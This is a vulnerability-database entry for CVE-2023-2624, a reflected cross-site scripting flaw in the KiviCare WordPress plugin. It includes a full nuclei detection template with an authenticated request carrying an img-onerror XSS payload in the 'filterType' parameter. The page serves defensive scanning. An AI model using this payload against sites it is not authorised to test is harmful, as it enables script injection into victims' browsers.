HexBrain

Browse / CVEs / CVE-2023-2624

CVE-2023-2624· iqonic / kivicare

KiviCare WordPress Plugin - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it

The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Update to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E
Positive when: contains in body_2 "<img src onerror=alert(document.domain)> appointment" and "status\":true" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2624 -u <target>

The full check
id: CVE-2023-2624

info:
  name: KiviCare WordPress Plugin - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dc3a841d-a95b-462e-be4b-acaa44e77264
    - http://packetstormsecurity.com/files/174895/WordPress-KiviCare-3.2.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2624
    epss-score: 0.01156
    epss-percentile: 0.67313
    cpe: cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: iqonic
    product: kivicare
    framework: wordpress
  tags: cve,cve2023,kivicare,wp,wp-plugin,wordpress,wpscan,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert(document.domain)> appointment'
          - 'status":true'
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from